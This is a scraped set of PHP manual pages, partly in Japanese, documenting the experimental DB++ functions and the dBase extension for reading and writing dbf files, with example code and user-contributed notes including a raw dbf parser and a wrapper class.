サーバー側で TCL コードを実行する

  • ≪ dbplus_sql
  • dbplus_tremove ≫
  • PHP Manual
  • DB++ 関数
  • サーバー側で TCL コードを実行する

dbplus_tcl

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_tcl — サーバー側で TCL コードを実行する

説明

dbplus_tcl ( int $sid , string $script ) : string

db++ サーバーは、各クライアント接続について TCL インタプリタを準備します。 このインタプリタは、ある種のストアドプロシージャとしてクライアントに 指定された TCL コードをサーバーで実行するもので、 クライアント/サーバー間のデータ伝送及びコンテキスト切替を回避し、 データベース処理性能を改善するために使用されます。

dbplus_tcl() は、TCL script コードが実行される、クライアント接続 ID を必要とします。dbplus_resolve() が、この接続 ID を返します。この関数は、TCL コードの返り値または TCL コードが失敗 した場合には、TCL エラーメッセージを返します。

パラメータ

sid

script

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_resolve() - リレーションのホスト情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


タプルを削除し、新規カレントタプルを返す

  • ≪ dbplus_tcl
  • dbplus_undo ≫
  • PHP Manual
  • DB++ 関数
  • タプルを削除し、新規カレントタプルを返す

dbplus_tremove

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_tremove — タプルを削除し、新規カレントタプルを返す

説明

dbplus_tremove ( resource $relation , array $tuple , array &$current = ? ) : int

dbplus_tremove() は、関係の中のタプルに完全に 一致する場合、tuple を削除します。 current が指定された場合、 dbplus_tremove() をコールした後、新規のカレントの タプルのデータが代入されます。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

tuple

current

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


元に戻す

  • ≪ dbplus_tremove
  • dbplus_undoprepare ≫
  • PHP Manual
  • DB++ 関数
  • 元に戻す

dbplus_undo

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_undo — 元に戻す

説明

dbplus_undo ( resource $relation ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


元に戻す準備をする

  • ≪ dbplus_undo
  • dbplus_unlockrel ≫
  • PHP Manual
  • DB++ 関数
  • 元に戻す準備をする

dbplus_undoprepare

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_undoprepare — 元に戻す準備をする

説明

dbplus_undoprepare ( resource $relation ) : int
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションの書き込みロックを中断する

  • ≪ dbplus_undoprepare
  • dbplus_unselect ≫
  • PHP Manual
  • DB++ 関数
  • リレーションの書き込みロックを中断する

dbplus_unlockrel

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_unlockrel — リレーションの書き込みロックを中断する

説明

dbplus_unlockrel ( resource $relation ) : int

以前 dbplus_lockrel() により得られた書き込みロックを開放します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションから制約を削除する

  • ≪ dbplus_unlockrel
  • dbplus_update ≫
  • PHP Manual
  • DB++ 関数
  • リレーションから制約を削除する

dbplus_unselect

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_unselect — リレーションから制約を削除する

説明

dbplus_unselect ( resource $relation ) : int

dbplus_unselect() をコールすると、 dbplus_find() により relation に設定された制約が削除されます。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーション内の指定したタプルを更新する

  • ≪ dbplus_unselect
  • dbplus_xlockrel ≫
  • PHP Manual
  • DB++ 関数
  • リレーション内の指定したタプルを更新する

dbplus_update

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_update — リレーション内の指定したタプルを更新する

説明

dbplus_update ( resource $relation , array $old , array $new ) : int

dbplus_update() は、old で指定したタプル new からのデータで置換します。 置換が行われるのは、old が relation の中のタプルに完全に一致する場合のみです。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

old

古いタプルの内容。

new

新しいタプルの内容。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


リレーションの排他的ロックを要求する

  • ≪ dbplus_update
  • dbplus_xunlockrel ≫
  • PHP Manual
  • DB++ 関数
  • リレーションの排他的ロックを要求する

dbplus_xlockrel

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_xlockrel — リレーションの排他的ロックを要求する

説明

dbplus_xlockrel ( resource $relation ) : int

relation に他のクライアントからの読み込み アクセスさえ拒否する排他的ロックを要求します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

参考

  • dbplus_xunlockrel() - リレーションの排他的ロックを解放する

User Contributed Notes

There are no user contributed notes for this page.


リレーションの排他的ロックを解放する

  • ≪ dbplus_xlockrel
  • dBase ≫
  • PHP Manual
  • DB++ 関数
  • リレーションの排他的ロックを解放する

dbplus_xunlockrel

(PHP 4 <= 4.3.0, PECL dbplus >= 0.9)

dbplus_xunlockrel — リレーションの排他的ロックを解放する

説明

dbplus_xunlockrel ( resource $relation ) : int

以前に dbplus_xlockrel() で取得した排他的ロックを開放します。

パラメータ

relation

dbplus_open() でオープンしたリレーション。

返り値

注意

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


dBase

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • dBase 関数
    • dbase_add_record — Adds a record to a database
    • dbase_close — Closes a database
    • dbase_create — Creates a database
    • dbase_delete_record — Deletes a record from a database
    • dbase_get_header_info — Gets the header info of a database
    • dbase_get_record_with_names — Gets a record from a database as an associative array
    • dbase_get_record — Gets a record from a database as an indexed array
    • dbase_numfields — Gets the number of fields of a database
    • dbase_numrecords — Gets the number of records in a database
    • dbase_open — Opens a database
    • dbase_pack — Packs a database
    • dbase_replace_record — Replaces a record in a database

User Contributed Notes

Anonymous 31-Jul-2009 09:51
Unfortunately the dbase functions are not compiled into my commercial server's php and I needed to read some geo data in shape files, which include data in dbfs.

So maybe this will help some others:

<?php
function echo_dbf($dbfname) {
    $fdbf = fopen($dbfname,'r');
    $fields = array();
    $buf = fread($fdbf,32);
    $header=unpack( "VRecordCount/vFirstRecord/vRecordLength", substr($buf,4,8));
    echo 'Header: '.json_encode($header).'<br/>';
    $goon = true;
    $unpackString='';
    while ($goon && !feof($fdbf)) { // read fields:
        $buf = fread($fdbf,32);
        if (substr($buf,0,1)==chr(13)) {$goon=false;} // end of field list
        else {
            $field=unpack( "a11fieldname/A1fieldtype/Voffset/Cfieldlen/Cfielddec", substr($buf,0,18));
            echo 'Field: '.json_encode($field).'<br/>';
            $unpackString.="A$field[fieldlen]$field[fieldname]/";
            array_push($fields, $field);}}
    fseek($fdbf, $header['FirstRecord']+1); // move back to the start of the first record (after the field definitions)
    for ($i=1; $i<=$header['RecordCount']; $i++) {
        $buf = fread($fdbf,$header['RecordLength']);
        $record=unpack($unpackString,$buf);
        echo 'record: '.json_encode($record).'<br/>';
        echo $i.$buf.'<br/>';} //raw record
    fclose($fdbf); }
?>

This function simply dumps an entire file using echo and json_encode, so you can tweak it to your own needs... (eg random access would just be a matter of changing the seek to : fseek($fdbf, $header['FirstRecord']+1 +($header['RecordLength']* $desiredrecord0based); removing the for loop and returning $record

This function doesn't do any type conversion, but it does extract the type if you need to play with dates, or tidy up the numbers etc.

So quick and dirty but maybe of use to somebody and illustrates the power of unpack.

Erich


はじめに

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.3.0.

These functions allow you to access records stored in dBase-format (dbf) databases.

警告

We recommend against using dBase files as your production database. Use » SQLite or choose any real SQL server instead; » MySQL or » Postgres are common choices with PHP. dBase support is here to allow you to import and export data to and from your web database, because the file format is commonly understood by Windows spreadsheets and organizers.

警告

As of dbase 7.0.0 the databases are automatically locked via flock(). There has been no support for locking earlier, so two concurrent web server processes modifying the same dBase file would have very likely ruined your database. This can happen even with dbase 7.0.0+ on systems which implement the locks at the process level with multithreaded SAPIs.

dBase files are simple sequential files of fixed length records. Records are appended to the end of the file and deleted records are kept until you call dbase_pack().

Only dbf file levels 3 (dBASE III+) - 5 (dBASE V) are supported. The types of dBase fields available are:

Available types of fields
Field | dBase Type | Format | Additional information
M | Memo | n/a | This type is not supported by PHP, such field will be ignored
D | Date | YYYYMMDD | The field length is limited to 8
T | DateTime | YYYYMMDDhhmmss.uuu | (FoxPro) No validity checks are done. Available as of dbase 7.0.0.
N | Number | A number | You must declare a length and a precision (the number of digits after the decimal point).
F | Float | A float number | Same as N. Available as of PHP 5.2.0
C | String | A string | You must declare a length. When retrieving data, the string will be right-padded with spaces to fit the declared length. Overlong strings will be silently truncated when storing data.
L | Boolean | T or Y for true, F or N for false, ? for uninitialized. | As of dbase 7.0.0, returned as a bool (true or false), or null for uninitialized fields. Formerly, returned as an int (1 or 0).

注意:

As of dbase 7.0.0 nullable fields are supported for DBASE_TYPE_FOXPRO databases. If a field is nullable, passing null will set the respective flag, and on later retrieval the field value will be null.

注意:

There is no support for indexes or memo fields.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/dbase.

User Contributed Notes

homer8173 at gmail dot com 09-Jan-2020 10:00
it may be installed easily with :

sudo pecl install dbase


リソース型

As of dbase 7.0.0, the resource type dbase is defined, which is returned by dbase_open() and dbase_create().

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

DBASE_VERSION (string)
The extension version. (Available as of dbase 7.0.0)
DBASE_RDONLY (int)
Open database for reading only. Used with dbase_open(). (Available as of dbase 7.0.0)
DBASE_RDWR (int)
Open database for reading and writing. Used with dbase_open(). (Available as of dbase 7.0.0)
DBASE_TYPE_DBASE (int)
Create dBASE style database. Used with dbase_create(). (Available as of dbase 7.0.0)
DBASE_TYPE_FOXPRO (int)
Create FoxPro style database. Used with dbase_create(). (Available as of dbase 7.0.0)

User Contributed Notes

There are no user contributed notes for this page.


dBase 関数

例

Many examples in this reference require a dBase database. We will use /tmp/test.dbf that will be created in the example of dbase_create().

目次

  • dbase_add_record — Adds a record to a database
  • dbase_close — Closes a database
  • dbase_create — Creates a database
  • dbase_delete_record — Deletes a record from a database
  • dbase_get_header_info — Gets the header info of a database
  • dbase_get_record_with_names — Gets a record from a database as an associative array
  • dbase_get_record — Gets a record from a database as an indexed array
  • dbase_numfields — Gets the number of fields of a database
  • dbase_numrecords — Gets the number of records in a database
  • dbase_open — Opens a database
  • dbase_pack — Packs a database
  • dbase_replace_record — Replaces a record in a database

User Contributed Notes

bi.idan [at] gmail.com 12-Feb-2009 07:16
some of you contacted me about memo fields and my script, so i'll just post my answers on the common question here.

(note: this is not an adv for any program, only what i used for myself, and it's free)

so, there are 2 options if you want to create/read memo fields:

1. use a library for java/c++/c# to build a bridge between php and dbf file. i've used dbf2java. althougth it's not near complete as my other option, it's a good start. (http://code.google.com/p/dbf2java-library/)

2. use an external program with pipes to grab the output. i used cdbflite, (http://www.whitetown.com/cdbflite/). it's free, and pretty much gives you everything you need to handle those dbf files. i'm not sure about big databases and it seems you need to register/buy it, but it's again, a start.

hope it helps some of you who needs to handle those database files,

Good luck,
idan
bi.idan AT gmail.com 16-Apr-2007 04:40
I know lots of you dosent really use dbase, but i've builded a class to help the one how dose.
(sorry for bad english)

- dbase.php

<?php

set_time_limit (0);
// site_path defined by parent
require_once (SITE_PATH. '/server/php/libs/dbase/handler.php');

/* DBase (dbf)
 *    manage dbf files, exports and search functionality
 *    with buildin optimizers for fast performance
 */

class DBase
{
    private $handler = false;
    private $searchopt = array (); // Search optimizer

    private function unload ()
    {
        if ($this-> handler !== false)
            unset ($this-> handler);
    }

    public function __construct ($file = false)
    {
        if ($file !== false)
            $this-> load ($file);
    }

    public function __destruct ()
    {
        $this-> unload ();
    }

    public function load ($file)
    {
        $resource = dbase_open ($file, 0);
        $this-> handler = new DBase_Handler ($resource);

        return $this-> handler;
    }

    /* Search
     *    search for string inside header
     *    returns record number
     *        false returned if not found or error occurred
     *    limit_results gets int or false, limit_results equels one will limit the
     *        search results for one result only, false for no limit
     */
    public function search ($headerText, $string, $limit_results = false, $handler = false)
    {
        if ($handler === false)
            $handler = $this-> handler;

        if ($this-> searchopt [$headerText][$string])
            return $this-> searchopt [$headerText][$string];
        else
        {
            $size = $handler-> getSize ();
            if ( ( $headerNumber = $handler-> getHeaderNumber ($headerText) ) !== false)
            {
                $results = array ();
                for ($i = 1; $i < $size; $i++)
                {
                    $record = $handler-> getRecord ($i, false); // Disabled optimizer to prevent memory overflow
                    if (trim ($record [$headerNumber]) == $string)
                    {
                        $results[] = $i;

                        if ( ($limit_results !== false) && (sizeof ($results) == $limit_results) )
                            break;
                    }
                }

                if (sizeof ($results) > 0)
                {
                    $this-> searchopt [$headerText][$string] = $results;
                    return $this-> search ($headerText, $string, $handler);
                }

                return false;
            } else
                return false;
        }
    }
}

?>

- dbase_handler.php

<?php

/* DBase Handler (dbf)
 *    handles dbase resource
 */

class DBase_Handler
{
    private $resource;
    private $size; // Records Count
    private $header = array ();
    private $dataopt = array (); // Data optimizer

    private function setHeader ()
    {
        $this-> header = dbase_get_header_info ($this-> resource);
    }

    public function __construct ($resource)
    {
        $this-> resource = $resource;
        $this-> setHeader ();
        $this-> size = dbase_numrecords ($this-> resource);
    }

    public function __destruct ()
    {
        dbase_close ($this-> resource);
    }

    public function getRecord ($record_number, $dataopt = true)
    {
        if ($record_number > $this-> size)
            return false;
        else
        {
            if ($this-> dataopt [$record_number])
                return $this-> dataopt [$record_number];
            else
            {
                $record = dbase_get_record ($this-> resource, $record_number);
                if ($dataopt === true) // Data saving optimizer
                {
                    $this-> dataopt [$record_number] = $record;
                    return $this-> getRecord ($record_number);
                } else
                    return $record;
            }
        }
    }

    public function getHeaderNumber ($headerText)
    {
        foreach ($this-> header as $index => $header)
        {
            if ($header ['name'] == $headerText)
            {
                return $index;
                break;
            }
        }

        return false;
    }

    public function getHeader ($headerNumber)
    {
        if ($headerNumber <= sizeof ($this-> header))
            return $this-> header [$headerNumber];
        else
            return false;
    }

    public function getSize ()
    {
        return $this-> size;
    }
}

?>


Adds a record to a database

  • ≪ dBase 関数
  • dbase_close ≫
  • PHP Manual
  • dBase 関数
  • Adds a record to a database

dbase_add_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_add_record — Adds a record to a database

説明

dbase_add_record ( resource $database , array $data ) : bool

Adds the given data to the database.

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

data

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_add_record() will fail.

注意:

If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

例

例1 Inserting a record in a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  dbase_add_record($db, array(
      date('Ymd'),
      'Maxim Topolov',
      '23',
      'max@example.com',
      'T'));
  dbase_close($db);
}

?>

参考

  • dbase_delete_record() - Deletes a record from a database
  • dbase_replace_record() - Replaces a record in a database

User Contributed Notes

There are no user contributed notes for this page.


Closes a database

  • ≪ dbase_add_record
  • dbase_create ≫
  • PHP Manual
  • dBase 関数
  • Closes a database

dbase_close

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_close — Closes a database

説明

dbase_close ( resource $database ) : bool

Closes the given database resource.

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

例

例1 Closing a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  // read some data ..

  dbase_close($db);
}

?>

参考

  • dbase_open() - Opens a database
  • dbase_create() - Creates a database

User Contributed Notes

There are no user contributed notes for this page.


Creates a database

  • ≪ dbase_close
  • dbase_delete_record ≫
  • PHP Manual
  • dBase 関数
  • Creates a database

dbase_create

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_create — Creates a database

説明

dbase_create ( string $path , array $fields , int $type = DBASE_TYPE_DBASE ) : resource

dbase_create() creates a dBase database with the given definition. If the file already exists, it is not truncated. dbase_pack() can be called to force truncation.

注意:

この関数の動作は、open_basedir の設定に依存します。

パラメータ

path

The path of the database. It can be a relative or absolute path to the file where dBase will store your data.

fields

An array of arrays, each array describing the format of one field of the database. Each field consists of a name, a character indicating the field type, and optionally, a length, a precision and a nullable flag. The supported field types are listed in the introduction section.

注意:

The fieldnames are limited in length and must not exceed 10 chars.

type

The type of database to be created. Either DBASE_TYPE_DBASE or DBASE_TYPE_FOXPRO.

返り値

Returns a database resource if the database is successfully created, or false if an error occurred.

変更履歴

バージョン | 説明
dbase 7.0.0 | The type parameter has been added.
dbase 7.0.0 | The return value is now a resource instead of an int.

例

例1 Creating a dBase database file

<?php

// database "definition"
$def = array(
  array("date",     "D"),
  array("name",     "C",  50),
  array("age",      "N",   3, 0),
  array("email",    "C", 128),
  array("ismember", "L")
);

// creation
if (!dbase_create('/tmp/test.dbf', $def)) {
  echo "Error, can't create the database\n";
}

?>

参考

  • dbase_open() - Opens a database
  • dbase_close() - Closes a database

User Contributed Notes

denvolin 20-Feb-2018 11:41
There is no third param in this function.
According to latest pecl package "dbase-pecl-php7", there are only 2 params.


Deletes a record from a database

  • ≪ dbase_create
  • dbase_get_header_info ≫
  • PHP Manual
  • dBase 関数
  • Deletes a record from a database

dbase_delete_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_delete_record — Deletes a record from a database

説明

dbase_delete_record ( resource $database , int $number ) : bool

Marks the given record to be deleted from the database.

注意:

To actually remove the record from the database, you must also call dbase_pack().

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

参考

  • dbase_add_record() - Adds a record to a database
  • dbase_replace_record() - Replaces a record in a database

User Contributed Notes

There are no user contributed notes for this page.


Gets the header info of a database

  • ≪ dbase_delete_record
  • dbase_get_record_with_names ≫
  • PHP Manual
  • dBase 関数
  • Gets the header info of a database

dbase_get_header_info

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_header_info — Gets the header info of a database

説明

dbase_get_header_info ( resource $database ) : array

Returns information on the column structure of the given database resource.

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

返り値

An indexed array with an entry for each column in the database. The array index starts at 0.

Each array element contains an associative array of column information, as described here:

name
The name of the column
type
The human-readable name for the dbase type of the column (i.e. date, boolean, etc.) The supported field types are listed in the introduction section.
length
The number of bytes this column can hold
precision
The number of digits of decimal precision for the column
format
A suggested printf() format specifier for the column
offset
The byte offset of the column from the start of the row

If the database header information cannot be read, false is returned.

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

例

例1 Showing header information for a dBase database file

<?php
// Path to dbase file
$db_path = "/tmp/test.dbf";

// Open dbase file
$dbh = dbase_open($db_path, 0)
  or die("Error! Could not open dbase database file '$db_path'.");

// Get column information
$column_info = dbase_get_header_info($dbh);

// Display information
print_r($column_info);
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets a record from a database as an associative array

  • ≪ dbase_get_header_info
  • dbase_get_record ≫
  • PHP Manual
  • dBase 関数
  • Gets a record from a database as an associative array

dbase_get_record_with_names

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_record_with_names — Gets a record from a database as an associative array

説明

dbase_get_record_with_names ( resource $database , int $number ) : array

Gets a record from a dBase database as an associative array.

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

_number

The index of the record between 1 and dbase_numrecords($dbase_identifier).

返り値

An associative array with the record. This will also include a key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()). Therefore it is not possible to retrieve the value of a field named deleted with this function.

各フィールドは適切な PHP の型に変換されますが、以下に挙げる例外があります。

  • Date は文字列のままになります。
  • DateTime は文字列に変換されます。
  • PHP_INT_MIN..PHP_INT_MAX の範囲外の Integer は文字列になります。
  • dbase 7.0.0 より前のバージョンでは、boolean (L) が 1 あるいは 0 に変換されていました。

On error, dbase_get_record_with_names() will return false.

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

例

例1 Listing all the registered members in the database

<?php
// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      $row = dbase_get_record_with_names($db, $i);
      if ($row['ismember'] == 1) {
          echo "Member #$i: " . trim($row['name']) . "\n";
      }
  }
}
?>

参考

  • dbase_get_record() - Gets a record from a database as an indexed array

User Contributed Notes

There are no user contributed notes for this page.


Gets a record from a database as an indexed array

  • ≪ dbase_get_record_with_names
  • dbase_numfields ≫
  • PHP Manual
  • dBase 関数
  • Gets a record from a database as an indexed array

dbase_get_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_record — Gets a record from a database as an indexed array

説明

dbase_get_record ( resource $database , int $number ) : array

Gets a record from a database as an indexed array.

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

number

The index of the record between 1 and dbase_numrecords($dbase_identifier).

返り値

An indexed array with the record. This array will also include an associative key named deleted which is set to 1 if the record has been marked for deletion (see dbase_delete_record()).

各フィールドは適切な PHP の型に変換されますが、以下に挙げる例外があります。

  • Date は文字列のままになります。
  • DateTime は文字列に変換されます。
  • PHP_INT_MIN..PHP_INT_MAX の範囲外の Integer は文字列になります。
  • dbase 7.0.0 より前のバージョンでは、boolean (L) が 1 あるいは 0 に変換されていました。

On error, dbase_get_record() will return false.

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

参考

  • dbase_get_record_with_names() - Gets a record from a database as an associative array

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of fields of a database

  • ≪ dbase_get_record
  • dbase_numrecords ≫
  • PHP Manual
  • dBase 関数
  • Gets the number of fields of a database

dbase_numfields

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_numfields — Gets the number of fields of a database

説明

dbase_numfields ( resource $database ) : int

Gets the number of fields (columns) in the specified database.

注意:

Field numbers are between 0 and dbase_numfields($db)-1, while record numbers are between 1 and dbase_numrecords($db).

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

返り値

The number of fields in the database, or false if an error occurs.

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

例

例1 dbase_numfields() Example

<?php

$rec = dbase_get_record($db, $recno);
$nf  = dbase_numfields($db);
for ($i = 0; $i < $nf; $i++) {
  echo $rec[$i], "\n";
}

?>

参考

  • dbase_numrecords() - Gets the number of records in a database

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of records in a database

  • ≪ dbase_numfields
  • dbase_open ≫
  • PHP Manual
  • dBase 関数
  • Gets the number of records in a database

dbase_numrecords

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_numrecords — Gets the number of records in a database

説明

dbase_numrecords ( resource $database ) : int

Gets the number of records (rows) in the specified database.

注意:

Records which are marked as deleted are counted as well.

注意:

Record numbers are between 1 and dbase_numrecords($db), while field numbers are between 0 and dbase_numfields($db)-1.

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

返り値

The number of records in the database, or false if an error occurs.

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

例

例1 Looping over all the records of the database

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      $record = dbase_get_record($db, $i);
      if (!$record['deleted']) {
          // do something with the $record
      } else {
          // do something with the deleted $record or ignore it
      }
  }
}

?>

参考

  • dbase_numfields() - Gets the number of fields of a database

User Contributed Notes

There are no user contributed notes for this page.


Opens a database

  • ≪ dbase_numrecords
  • dbase_pack ≫
  • PHP Manual
  • dBase 関数
  • Opens a database

dbase_open

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_open — Opens a database

説明

dbase_open ( string $path , int $mode ) : resource|false

dbase_open() opens a dBase database with the given access mode.

注意:

この関数の動作は、open_basedir の設定に依存します。

パラメータ

path

The path of the database. It can be a relative or absolute path to the file where dBase will store your data.

mode

An integer which correspond to those for the open() system call (Typically 0 means read-only, 1 means write-only, and 2 means read and write).

注意:

You can't open a dBase file in write-only mode as the function will fail to read the headers information and thus you can't use 1 as mode.

As of dbase 7.0.0 you can use DBASE_RDONLY and DBASE_RDWR, respectively, to specify the mode.

返り値

Returns a database resource on success, 失敗した場合に false を返します.

変更履歴

バージョン | 説明
dbase 7.0.0 | The return value is now a resource instead of an int.

例

例1 Opening a dBase database file

<?php

// open in read-only mode
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
  // read some data ..

  dbase_close($db);
}

?>

参考

  • dbase_create() - Creates a database
  • dbase_close() - Closes a database

User Contributed Notes

Anonymous 11-Jan-2008 03:05
COPY TO tablename.dbf TYPE FOXPLUS
The table is exported like DBase IV version and works fine with php.
jmertic at ncscredit dot com 16-Oct-2001 04:57
If you are wanting to open Foxpro tables using this, make sure they are in the 2.x format or php will not respond. In VFP use the following:

COPY TO tablename.dbf TYPE FOX2X

This is an easy way to bring database info to the web if you have a small foxpro setup.


Packs a database

  • ≪ dbase_open
  • dbase_replace_record ≫
  • PHP Manual
  • dBase 関数
  • Packs a database

dbase_pack

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_pack — Packs a database

説明

dbase_pack ( resource $database ) : bool

Packs the specified database by permanently deleting all records marked for deletion using dbase_delete_record(). Note that the file will be truncated after successful packing (contrary to dBASE III's PACK command).

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

例

例1 Emptying a dBase database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  $record_numbers = dbase_numrecords($db);
  for ($i = 1; $i <= $record_numbers; $i++) {
      dbase_delete_record($db, $i);
  }
  // expunge the database
  dbase_pack($db);
}

?>

参考

  • dbase_delete_record() - Deletes a record from a database

User Contributed Notes

There are no user contributed notes for this page.


Replaces a record in a database

  • ≪ dbase_pack
  • filePro ≫
  • PHP Manual
  • dBase 関数
  • Replaces a record in a database

dbase_replace_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_replace_record — Replaces a record in a database

説明

dbase_replace_record ( resource $database , array $data , int $number ) : bool

Replaces the given record in the database with the given data.

パラメータ

database

The database resource, returned by dbase_open() or dbase_create().

data

An indexed array of data. The number of items must be equal to the number of fields in the database, otherwise dbase_replace_record() will fail.

注意:

If you're using dbase_get_record() return value for this parameter, remember to reset the key named deleted.

number

An integer which spans from 1 to the number of records in the database (as returned by dbase_numrecords()).

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
dbase 7.0.0 | database is now a resource instead of an int.

例

例1 Updating a record in the database

<?php

// open in read-write mode
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
  // gets the old row
  $row = dbase_get_record_with_names($db, 1);

  // remove the 'deleted' entry
  unset($row['deleted']);

  // Update the date field with the current timestamp
  $row['date'] = date('Ymd');

  // convert the row to an indexed array
  $row = array_values($row);

  // Replace the record
  dbase_replace_record($db, $row, 1);
  dbase_close($db);
}

?>

注意

